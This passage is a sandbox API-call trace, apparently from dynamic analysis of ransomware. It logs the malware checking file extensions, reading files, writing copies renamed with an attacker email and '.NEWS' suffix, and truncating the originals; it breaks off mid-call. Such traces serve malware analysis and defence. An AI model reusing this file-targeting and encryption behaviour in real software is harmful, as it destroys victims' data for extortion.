[0272.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.920] lstrlenW (lpString=".xlsx") returned 5 [0272.920] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.920] lstrlenW (lpString=".ppt") returned 4 [0272.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0272.920] lstrlenW (lpString=".zip") returned 4 [0272.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.920] lstrlenW (lpString=".rar") returned 4 [0272.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.920] lstrlenW (lpString=".bz2") returned 4 [0272.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.921] lstrlenW (lpString=".7z") returned 3 [0272.921] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0272.921] lstrlenW (lpString=".dbf") returned 4 [0272.921] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0272.921] lstrlenW (lpString=".1cd") returned 4 [0272.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0272.921] lstrlenW (lpString=".jpg") returned 4 [0272.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.922] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0272.922] lstrlenW (lpString="BS01635_.WMF") returned 12 [0272.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0272.923] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=14996) returned 1 [0272.923] CloseHandle (hObject=0x3b0) returned 1 [0272.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf")) returned 0x20 [0272.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0272.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0272.925] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.925] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0272.928] GetLastError () returned 0x0 [0272.928] ReadFile (in: hFile=0x3b0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x3a94, lpOverlapped=0x0) returned 1 [0272.969] WriteFile (in: hFile=0x39c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x3aa0, lpOverlapped=0x0) returned 1 [0272.973] ReadFile (in: hFile=0x3b0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.973] WriteFile (in: hFile=0x39c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.973] SetEndOfFile (hFile=0x39c) returned 1 [0272.974] CloseHandle (hObject=0x39c) returned 1 [0272.974] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.974] SetEndOfFile (hFile=0x3b0) Thread: id = 72 os_tid = 0x660 [0193.645] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x3aa04b0 [0193.647] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x3ab04b8 [0193.648] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4ca0 [0193.648] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x6) returned 0x930f50 [0193.648] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4cb8 [0193.648] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x4060020 [0193.649] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4cd0 [0193.649] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f4cd0, Size=0x20) returned 0x8d32b0 [0193.649] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4cd0 [0193.649] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f4cd0, Size=0x20) returned 0x8d3288 [0193.649] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77080000 [0193.649] GetProcAddress (hModule=0x77080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770ad650 [0193.650] Wow64DisableWow64FsRedirection (in: OldValue=0x356ff58 | out: OldValue=0x356ff58*=0x0) returned 1 [0193.650] lstrlenW (lpString="kernel32.dll") returned 12 [0193.650] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d32b0 | out: hHeap=0x880000) returned 1 [0193.650] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0193.650] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d3288 | out: hHeap=0x880000) returned 1 [0193.650] Sleep (dwMilliseconds=0x64) [0193.844] Sleep (dwMilliseconds=0x64) [0194.759] lstrlenW (lpString="BCD") returned 3 [0194.759] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.759] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0194.759] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0194.759] lstrlenW (lpString=".doc") returned 4 [0194.759] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0194.760] lstrlenW (lpString=".docx") returned 5 [0194.760] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0194.760] lstrlenW (lpString=".pdf") returned 4 [0194.760] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0194.760] lstrlenW (lpString=".xls") returned 4 [0194.760] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0194.760] lstrlenW (lpString=".xlsx") returned 5 [0194.760] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0194.760] lstrlenW (lpString=".ppt") returned 4 [0194.760] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0194.760] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0194.760] lstrlenW (lpString=".zip") returned 4 [0194.760] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0194.761] lstrlenW (lpString=".rar") returned 4 [0194.761] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0194.761] lstrlenW (lpString=".bz2") returned 4 [0194.761] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0194.761] lstrlenW (lpString=".7z") returned 3 [0194.761] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0194.761] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0194.761] lstrlenW (lpString=".dbf") returned 4 [0194.761] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0194.761] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0194.761] lstrlenW (lpString=".1cd") returned 4 [0194.762] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0194.762] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0194.762] lstrlenW (lpString=".jpg") returned 4 [0194.762] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0194.762] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0194.762] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0194.762] lstrlenW (lpString=".doc") returned 4 [0194.762] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0194.762] lstrlenW (lpString=".docx") returned 5 [0194.762] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0194.762] lstrlenW (lpString=".pdf") returned 4 [0194.763] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0194.763] lstrlenW (lpString=".xls") returned 4 [0194.763] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0194.763] lstrlenW (lpString=".xlsx") returned 5 [0194.763] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0194.763] lstrlenW (lpString=".ppt") returned 4 [0194.763] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0194.763] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0194.763] lstrlenW (lpString=".zip") returned 4 [0194.763] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0194.763] lstrlenW (lpString=".rar") returned 4 [0194.763] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0194.763] lstrlenW (lpString=".bz2") returned 4 [0194.763] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0194.764] lstrlenW (lpString=".7z") returned 3 [0194.764] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0194.764] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0194.764] lstrlenW (lpString=".dbf") returned 4 [0194.764] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0194.764] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0194.764] lstrlenW (lpString=".1cd") returned 4 [0194.764] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0194.764] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0194.764] lstrlenW (lpString=".jpg") returned 4 [0194.764] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0194.765] lstrcmpiW (lpString1=".LOG1", lpString2=".NEWS") returned -1 [0194.766] lstrlenW (lpString="BCD.LOG1") returned 8 [0194.766] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0194.766] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x356ff1c | out: lpFileSize=0x356ff1c*=0) returned 1 [0194.767] CloseHandle (hObject=0x1f4) returned 1 [0194.767] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0194.767] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0194.767] lstrlenW (lpString=".doc") returned 4 [0194.767] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0194.767] lstrlenW (lpString=".docx") returned 5 [0194.767] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0194.767] lstrlenW (lpString=".pdf") returned 4 [0194.768] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0194.768] lstrlenW (lpString=".xls") returned 4 [0194.768] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0194.768] lstrlenW (lpString=".xlsx") returned 5 [0194.768] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0194.768] lstrlenW (lpString=".ppt") returned 4 [0194.768] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0194.768] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0194.770] lstrlenW (lpString=".zip") returned 4 [0194.770] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0194.770] lstrlenW (lpString=".rar") returned 4 [0194.770] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0194.770] lstrlenW (lpString=".bz2") returned 4 [0194.770] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0194.771] lstrlenW (lpString=".7z") returned 3 [0194.771] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0194.771] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0194.771] lstrlenW (lpString=".dbf") returned 4 [0194.771] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0194.771] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0194.771] lstrlenW (lpString=".1cd") returned 4 [0194.771] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0194.771] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0194.772] lstrlenW (lpString=".jpg") returned 4 [0194.772] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0194.772] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0194.772] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0194.772] lstrlenW (lpString=".doc") returned 4 [0194.773] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0194.773] lstrlenW (lpString=".docx") returned 5 [0194.773] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0194.773] lstrlenW (lpString=".pdf") returned 4 [0194.773] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0194.773] lstrlenW (lpString=".xls") returned 4 [0194.773] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0194.773] lstrlenW (lpString=".xlsx") returned 5 [0194.773] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0194.773] lstrlenW (lpString=".ppt") returned 4 [0194.774] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0194.774] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0194.774] lstrlenW (lpString=".zip") returned 4 [0194.774] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0194.774] lstrlenW (lpString=".rar") returned 4 [0194.774] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0194.774] lstrlenW (lpString=".bz2") returned 4 [0194.774] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0194.775] lstrlenW (lpString=".7z") returned 3 [0194.775] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0194.775] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0194.775] lstrlenW (lpString=".dbf") returned 4 [0194.775] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0194.775] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0194.775] lstrlenW (lpString=".1cd") returned 4 [0194.776] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0194.776] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0194.776] lstrlenW (lpString=".jpg") returned 4 [0194.776] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0194.777] lstrcmpiW (lpString1=".LOG2", lpString2=".NEWS") returned -1 [0194.777] lstrlenW (lpString="BCD.LOG2") returned 8 [0194.777] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0194.778] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x356ff1c | out: lpFileSize=0x356ff1c*=0) returned 1 [0194.778] CloseHandle (hObject=0x1f4) returned 1 [0194.778] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0194.778] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0194.778] lstrlenW (lpString=".doc") returned 4 [0194.779] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0194.779] lstrlenW (lpString=".docx") returned 5 [0194.779] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0194.779] lstrlenW (lpString=".pdf") returned 4 [0194.779] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0194.779] lstrlenW (lpString=".xls") returned 4 [0194.779] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0194.779] lstrlenW (lpString=".xlsx") returned 5 [0194.779] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0194.779] lstrlenW (lpString=".ppt") returned 4 [0194.779] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0194.780] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0194.780] lstrlenW (lpString=".zip") returned 4 [0194.780] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0194.780] lstrlenW (lpString=".rar") returned 4 [0194.780] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0194.780] lstrlenW (lpString=".bz2") returned 4 [0194.780] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0194.780] lstrlenW (lpString=".7z") returned 3 [0194.780] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0194.780] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0194.780] lstrlenW (lpString=".dbf") returned 4 [0194.781] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0194.781] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0194.781] lstrlenW (lpString=".1cd") returned 4 [0194.781] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0194.781] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0194.781] lstrlenW (lpString=".jpg") returned 4 [0194.781] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0194.781] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0194.781] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0194.781] lstrlenW (lpString=".doc") returned 4 [0194.782] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0194.782] lstrlenW (lpString=".docx") returned 5 [0194.782] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0194.782] lstrlenW (lpString=".pdf") returned 4 [0194.782] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0194.782] lstrlenW (lpString=".xls") returned 4 [0194.782] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0194.782] lstrlenW (lpString=".xlsx") returned 5 [0194.782] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0194.782] lstrlenW (lpString=".ppt") returned 4 [0194.782] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0194.782] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0194.783] lstrlenW (lpString=".zip") returned 4 [0194.783] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0194.783] lstrlenW (lpString=".rar") returned 4 [0194.783] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0194.783] lstrlenW (lpString=".bz2") returned 4 [0194.783] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0194.783] lstrlenW (lpString=".7z") returned 3 [0194.783] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0194.783] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0194.783] lstrlenW (lpString=".dbf") returned 4 [0194.783] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0194.783] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0194.784] lstrlenW (lpString=".1cd") returned 4 [0194.784] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0194.784] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0194.784] lstrlenW (lpString=".jpg") returned 4 [0194.784] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0194.785] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0194.785] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0194.785] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0194.794] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x356ff1c | out: lpFileSize=0x356ff1c*=89168) returned 1 [0194.794] CloseHandle (hObject=0x1f4) returned 1 [0194.795] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0194.795] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.795] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.796] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0194.796] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0194.796] lstrlenW (lpString=".doc") returned 4 [0194.796] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0194.796] lstrlenW (lpString=".docx") returned 5 [0194.797] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0194.797] lstrlenW (lpString=".pdf") returned 4 [0194.797] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0194.797] lstrlenW (lpString=".xls") returned 4 [0194.797] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0194.797] lstrlenW (lpString=".xlsx") returned 5 [0194.797] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0194.797] lstrlenW (lpString=".ppt") returned 4 [0194.798] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0194.798] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0194.798] lstrlenW (lpString=".zip") returned 4 [0194.798] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0194.798] lstrlenW (lpString=".rar") returned 4 [0194.798] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0194.798] lstrlenW (lpString=".bz2") returned 4 [0194.798] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0194.798] lstrlenW (lpString=".7z") returned 3 [0194.799] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0194.799] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0194.799] lstrlenW (lpString=".dbf") returned 4 [0194.799] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0194.799] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0194.799] lstrlenW (lpString=".1cd") returned 4 [0194.799] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0194.800] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0194.800] lstrlenW (lpString=".jpg") returned 4 [0194.800] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.071] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0195.071] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0195.072] lstrlenW (lpString=".doc") returned 4 [0195.072] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.072] lstrlenW (lpString=".docx") returned 5 [0195.072] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.072] lstrlenW (lpString=".pdf") returned 4 [0195.072] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.072] lstrlenW (lpString=".xls") returned 4 [0195.072] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.072] lstrlenW (lpString=".xlsx") returned 5 [0195.072] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.072] lstrlenW (lpString=".ppt") returned 4 [0195.072] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.072] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0195.072] lstrlenW (lpString=".zip") returned 4 [0195.072] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.073] lstrlenW (lpString=".rar") returned 4 [0195.073] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.073] lstrlenW (lpString=".bz2") returned 4 [0195.073] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.073] lstrlenW (lpString=".7z") returned 3 [0195.073] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.073] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0195.073] lstrlenW (lpString=".dbf") returned 4 [0195.073] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.073] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0195.073] lstrlenW (lpString=".1cd") returned 4 [0195.073] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.073] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0195.074] lstrlenW (lpString=".jpg") returned 4 [0195.074] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.074] lstrcmpiW (lpString1=".ttf", lpString2=".NEWS") returned 1 [0195.074] lstrlenW (lpString="kor_boot.ttf") returned 12 [0195.074] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0195.563] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x356ff1c | out: lpFileSize=0x356ff1c*=2371360) returned 1 [0195.563] CloseHandle (hObject=0x208) returned 1 [0195.563] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0195.563] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: 